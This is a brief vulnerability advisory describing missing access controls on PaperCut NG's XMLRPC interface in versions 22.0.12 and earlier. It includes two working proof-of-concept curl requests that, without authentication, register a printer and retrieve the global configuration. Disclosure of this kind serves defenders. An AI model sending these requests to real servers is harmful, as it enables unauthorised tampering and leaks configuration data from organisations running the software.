PaperCut NG Unauthenticated XMLRPC Functionality

Insufficient access controls for XMLRPC operations exist in PaperCut NG. Versions 22.0.12 and earlier are confirmed vulnerable. Later versions may also be affected due to lack of a vendor-supplied patch.

Access to XMLPRC operations in PaperCut NG are controlled by various allowed IP lists. By default many allowed IP lists (i.e., auth.providers.allowed-addresses) are configured to be a wildcard, which allows an unauthenticated remote attacker to issue XMLPRC calls.

Proof of Concept

// Add a printer; check if added printer shows up in the web UI
# curl -k -H 'Content-Type:text/xml' -d '<?xml version="1.0"?><methodCall><methodName>print-provider.registerPrinter</methodName><params><param><value><string>serverName</string></value></param><param><value><string>printerName</string></value></param><param><value><string>printerLocation</string></value></param></params></methodCall>' 'https://[target]:9192/rpc/providers/xmlrpc'

// Get configuration
# curl -k -H 'Content-Type:text/xml' -d '<?xml version="1.0"?><methodCall><methodName>client.getGlobalConfig</methodName><params><param><value><string>str1</string></value></param><param><value><string>str2</string></value></param></params></methodCall>' 'https://[target]:9192/rpc/clients/xmlrpc'